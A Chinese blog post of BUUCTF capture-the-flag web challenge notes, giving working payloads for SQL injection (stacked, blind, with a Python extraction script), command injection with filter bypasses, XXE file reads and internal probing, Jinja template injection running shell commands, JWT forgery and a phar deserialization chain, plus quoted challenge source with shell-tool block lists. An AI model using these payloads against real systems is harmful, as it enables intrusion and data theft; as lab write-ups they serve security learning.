BUUCTF做题笔记


BUUCTF做题笔记

[SUCTF 2019]EasySQL

  1. 根据提示可以知道是sql注入

  2. 经过多次尝试,联合,盲注都不行

    测试的同时知道过滤了union and or “ updatexml…….

  3. 尝试一下,堆叠查询

  • 构造语句

    1; show databases #

    image-20210506195433547

    有结果显示;

    查表

    1; show tables #

    image-20210506195539392

    查列

    1;show columns from flag #

    image-20210506195819676

    估计是把flag过滤了。。。

    之后在网上找到说是后台代码

    select $_GET['query'] || flag from flag

    如果是这样

  • flag已经有了,那么查询

    *,1

    image-20210506202253105

    因为查*会查到所有的内容,查1的时候会自动增加1列,这一列的内容为1,这里的1是为了中和||flag,这样返回的数字就是1,查询的内容也会直接显示

[极客大挑战 2019]EasySQL

  1. 看见表单sql注入,之间抓包,在bp里面解决

  2. 尝试万能密码登陆

    2.1 猜测闭合方式

image-20210506205322482

​ 2.2 单引号闭合方式

username=admin'or'1'='1&password=admin'or'1'='1 
  1. 进去后直接显示了flag

image-20210506205207855

[强网杯 2019]随便注

  1. 测试

image-20210506205631727

  1. 直接告诉了过滤了什么

  2. 查看闭合的方式(单引号字符型)

image-20210506205929107

  1. 之后就利用延时注吧

爆库

1' and if(substr(database(),1,1)='s',sleep(3),1) #

利用bp爆破,由于采用的延时注入,线程放慢到1

image-20210506211904567

爆破结果

image-20210506211714207

所以数据库应该是:supersqli

爆表

1' if(substr(table_name))

没法弄了。。。过滤了select。。。

试一下,堆叠注入吧

查表

0'; show tables;

image-20210506213609555

查列

0'; show columns from `1919810931114514`; #
0'; desc words; #

反单引号(`)是数据库、表、索引、列和别名用的引用符

image-20210506214124589

image-20210506214652466

看到这,就想起之前输入的1和2.。。

image-20210506215945840

这里就想到提交查询有可能查的是words,但是我们需要查询flag。。。

构造payload

1';rename table `words` to words2; 

image-20210506220407090

间接证明了,前面数据库求对了

* 猜想后台的sql语句:

select * from supersqli.words where id='$inject';

由于只改变了words的名字导致题目后台的sql语句由于找不到words表直接出错,之后,我们输入的语句都会同样的报错…..

重启一下环境

1';rename table `words` to words2; rename table `1919810931114514` to `words`; alter table words change flag id varchar(100); show columns from words;#   //两次改名,之前已经知道我们输入的1和2分别查询words表中的id和data字段,所以,除了改表名还要修改flag字段名为id,大小100

image-20210507111456489

查找flag

1' or 1=1 #

image-20210507111228601

预处理绕过select:

1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#

Handler绕过:

1';handler `1919810931114514` open;handler `1919810931114514` read first;

[极客大挑战 2019]Havefun

直接查看源代码

image-20210507113310895

访问一下

image-20210507113345227

得到flag。。。

[安洵杯 2019]easy_web

image-20210807172752728

img参数的值进行两次base64解码之后得到数字

3535352e706e67

在进行16进制解码解码工具

555.png

image-20210807173022705

  • 反推index.php,查看源码,进行base64解码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5强绕过:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

关键代码:

<?php
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

Payload:

image-20210807190026670

%20 代替空格
dir 查看目录
cat\t 绕过正则
POST 强绕过md5
?cmd=ca\t%20/flag

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[BSidesCF 2020]Had a bad day

  • 随便点击后题目url:
http://0d6fe9db-1531-4e0c-b9df-6aa90ff30c9b.node4.buuoj.cn:81/index.php?category=woofers
  • 后面的.php或者其他应该是被拼接上去的
  • 尝试读取源码:
php://filter/read=convert.base64-encode/resource=index
  • 解码
<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>
  • 利用filter协议,添加要求的字母带出flag
index.php?category=php://filter/convert.base64-encode/woofers/resource=flag

[ASIS 2019]Unicorn shop

  • 找到大于1337的unicode字符,再进行url编码,买第四个商品

搜索thousand

id=4&price=%E2%86%82

[NCTF2019]True XML cookbook

  • 根据题目可以知道是xxe,尝试xml注入,读取源码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>

image-20210912200819162

源码没啥用;

内网探测存活的主机:访问/etc/hosts文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "file:///etc/hosts">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>

image-20210912201343449

读取另一个文件:/proc/net/arp

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "file:///proc/net/arp">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>

image-20210912201548769

找到一个内网的ip地址:10.0.4.2尝试读取:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "http://10.0.4.2">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>

image-20210912201824215

会有报错,尝试扫描c段:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY exp SYSTEM "http://10.0.4.2">
 ]>
<user><username>&exp;</username><password>aaaa</password></user>
  • 在一堆爆错中找到一个对的

image-20210912202132524

[WUSTCTF2020]颜值成绩查询

  • 异或型sql注入

image-20210930173410621

  • sql盲注,用sql语句代替中间的1跑一下二分法脚本,跑之前最好重启一下容器
import requests
url = "http://24c920f4-5836-4df3-9cfe-9dfeb25c30eb.node4.buuoj.cn:81/"
str = ''


for i in range(1,60):
    head = 32
    tail = 127
    while head<tail:
        mid = (head + tail) >> 1
        payload = f'ascii(substr((select(value)from(flag)),{i},1))>{mid}'
        #payload = f'ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid}'#flag,score
        #payload = f'ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),{i},1))>{mid}'#flag,value
        params = f'?stunum=1^({payload})^1'
        s = requests.get(url=url+params)
        if 'Hi admin, your score is: 100' in s.text:
            head = mid+1
        else:
            tail = mid
    if head!=32:
        str+=chr(head)
        print(str)
    else:
        break

[FBCTF2019]RCEService

源码:

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {<!-- -->
    $json = $_REQUEST['cmd'];

    if (!is_string($json)) {<!-- -->
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {<!-- -->
        echo 'Hacking attempt detected<br/><br/>';
    } else {<!-- -->
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {<!-- -->
            system($cmd);
        } else {<!-- -->
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}

?>

image-20211022202843600

?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

[GWCTF 2019]枯燥的抽奖

<?php
session_start();
if(!isset($_SESSION['seed'])){
    $_SESSION['seed']=rand(0,999999999);
}
for($t=0;$t<999999999;$t++){
    mt_srand($t);
    $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $str='';
    $len1=20;
    for ( $i = 0; $i < $len1; $i++ ){
        $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
    }
    $str_show = substr($str, 0, 10);
    if($str_show == "Erb9CLrLVL"){
        echo $str;
        echo "\n";
    }
}
  • 活生生跑出来的Erb9CLrLVLTDmbWRVu02

[Zer0pts2020]Can you guess it?

  • 题目源码:

    <?php
    include 'config.php'; // FLAG is defined in config.php
    
    if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
      exit("I don't know what you are thinking, but I won't let you read it :)");
    }
    
    if (isset($_GET['source'])) {
      highlight_file(basename($_SERVER['PHP_SELF']));
      exit();
    }
    
    $secret = bin2hex(random_bytes(64));
    if (isset($_POST['guess'])) {
      $guess = (string) $_POST['guess'];
      if (hash_equals($secret, $guess)) {
        $message = 'Congratulations! The flag is: ' . FLAG;
      } else {
        $message = 'Wrong.';
      }
    }
    ?>

Payload:

/index.php/config.php/%ff?source

[CSCCTF 2019 Qual]FlaskLight

ssti模板注入:

  • 利用subprocess.Popen()

Payload:

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

?search={{''.__class__.__mro__[2].__subclasses__()[258]('tac /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

  • 查看源代码,可以看到需要传递file参数,那么利用file参数+php伪协议尝试读取某些文件
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

查找漏点:

$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

这里只接收了一个参数,但实际上这三个参数我们都是可控的,$address我们在change.php提交,$row['address']我们在index.php页面提交,由于对$address有限制,尝试在提交的时候对$row['address']进行sql注入

payload:

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#

过程:

  1. index.php地址填进payload,其他空随意
  2. 进入修改页面change.php,随便填写三个空
  3. 跳转之后,会发现前半部分flag
  4. 第二个payload重复上面步骤

[HFCTF2020]EasyLogin(JWT)

  1. 注册账号后登陆
  2. 修改jwt的值

image-20220210100255144

  1. 修改账户名为admin,去掉校验部分

image-20220210100404867

  1. 点击登陆抓包,将jwt的值修改

image-20220210100533575

注意jwt最后的点

  1. 登陆之后,点击getflag抓包

image-20220210100626173

[SWPUCTF 2018]SimplePHP

  1. 查看文件的地方有任意文件读取:
file.php
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 
class.php
<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>
  1. 利用phar读取任意文件,会进行反序列化,查看flag文件
    • 构造POP链:
      • C1e4r的析构函数会输出test属性
      • 通过令C14r->test=new show()调用show对象的__tostring()函数
      • __tostring函数中调用了source属性,Test类中并不存在该属性,通过这样调用Test类对象的__get函数
      • 最后设置Test->params['source']=/var/www/html/flag.php读取flag
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>
  1. upload目录可以访问,直接利用phar://协议读取文件

image-20220211092933626

也可以根据file.php计算文件名

image-20220211094007151


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录